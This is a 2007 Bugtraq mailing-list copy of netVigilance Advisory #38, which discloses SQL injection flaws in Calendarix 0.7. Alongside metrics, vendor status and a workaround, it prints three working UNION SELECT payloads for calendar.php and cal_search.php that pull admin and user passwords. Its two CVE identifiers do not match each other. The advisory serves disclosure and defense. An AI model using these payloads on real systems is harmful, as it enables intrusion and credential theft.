Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Bugtraq
[Top] [All Lists]

Calendarix version 0.7. 20070307 Multiple SQL Injection Vulnerabilities

Subject: Calendarix version 0.7. 20070307 Multiple SQL Injection Vulnerabilities
Date: 25 Jun 2007 16:20:53 -0000
        netVigilance Security Advisory #38

Calendarix version 0.7. 20070307 Multiple SQL Injection Vulnerabilities 

Description:
Calendarix is a powerful and easy to use calendar based on PHP and MySQL. It 
has been developed with ease of use and quick access to information in mind.  
It provides the user with the quickest possible navigation and accessing the 
most commonly used functions in the shortest steps.

Successful exploitation requires PHP magic_quotes_gpc set to Off.
External References: 
Mitre CVE:  CVE-2007-3183
NVD NIST: CVE-2007-3128
OSVDB: 35373

Summary: 
Calendarix is a powerful and easy to use calendar based on PHP and MySQL.

A security problems in the product allow attackers to commit SQL injection 
attacks.
Advisory URL: 
http://www.netvigilance.com/advisory0038

Release Date:
06/19/2007
 
Severity:
Risk: High
 
CVSS Metrics:
Access Vector: Remote
Access Complexity: High
Authentication: Not-required
Confidentiality Impact: Complete
Integrity Impact: Partial
Availability Impact: Partial 
Impact Bias: Confidentiality
CVSS Base Score: 6.8
 
Target Distribution on Internet: Low
 
Exploitability: Functional Exploit
Remediation Level: Workaround
Report Confidence: Uncorroborated
 
Vulnerability Impact: Attack
Host Impact: SQL Injection 

SecureScout Testcase ID:
TC 17966

Vulnerable Systems:
Calendarix version 0.7. 20070307

Vulnerability Type:
SQL injection allows malicious people to execute their own SQL scripts. This 
could be exploited to obtain sensitive data, modify database contents or 
acquire administrator's privileges.

Vendor:
Vincent Hor (Calendarix Enterprise) 

Vendor Status: 
Vincent Hor of Calendarix Enterprise was not interested in coordinating release 
of Patch and Security Advisory, There is no official solution at this time.
Workaround:
In the php.ini file set magic_quotes_gpc = On. 
Example: 
SQL Injection Attack Vulnerability 1:
REQUEST:
http://[TARGET]/[PRODUCT-DIRECTORY]/calendar.php?month=' UNION SELECT 1, 1, 
`password`, `username` ,1 FROM `calendar_users` %23
REPLY:
...<table class=eventborder border=1 cellspacing=0 cellpadding=0 
width='100%'><tr><td align=center class=eventtimeborder valign=top><div 
class=smallcalevtime>[SQL INJECTION RESULT: ADMIN NAME]<br/>1</td><td 
align=left valign=top width='80%' class=eventborder><a class=smallcalev 
href="Javascript:void(0);" onclick="Javascript:popup(1);">[SQL INJECTION 
RESULT: ADMIN PASSWORD]</a></td></tr></table><tr><td align=center valign=top>
...
<table class=eventborder border=1 cellspacing=0 cellpadding=0 
width='100%'><tr><td align=center class=eventtimeborder valign=top><div 
class=smallcalevtime>[SQL INJECTION RESULT: ALL USERs NAME]<br/>1</td><td 
align=left valign=top width='80%' class=eventborder><a class=smallcalev 
href="Javascript:void(0);" onclick="Javascript:popup(1);">[SQL INJECTION 
RESULT: ALL USERS PASSWORD]</a></td></tr></table></table>...
SQL Injection Attack Vulnerability 2:
REQUEST:
http://[TARGET]/[PRODUCT-DIRECTORY]/calendar.php?month=&year=' UNION SELECT 1, 
1, `password`, `username` ,1 FROM `calendar_users` %23

REPLY:
<div class=smallcalevtime>[SQL INJECTION RESULT: ADMIN NAME] ...[SQL INJECTION 
RESULT: ADMIN PASSWORD]</a>
...
<div class=smallcalevtime>[SQL INJECTION RESULT: ALL USERs NAME]...[SQL 
INJECTION RESULT: ALL USERS PASSWORD]</a>...
SQL Injection Attack Vulnerability 3:
REQUEST:
http://[TARGET]/[PRODUCT-DIRECTORY]/cal_search.php

in the search string enter: %') UNION SELECT 
1,1,CONCAT(`username`,`password`),1,1,1,1,1 FROM `calendar_users` #
press button "Search"
REPLY:
...<div class=searchtextfont>[SQL INJECTION RESULT: ADMIN NAME ADMIN PASSWORD]. 
...</div>...

Credits: 
Jesper Jurcenoks
Co-founder netVigilance, Inc
www.netvigilance.com
??

??

??

??





        

<Prev in Thread] Current Thread [Next in Thread>
  • Calendarix version 0.7. 20070307 Multiple SQL Injection Vulnerabilities, securityresearch <=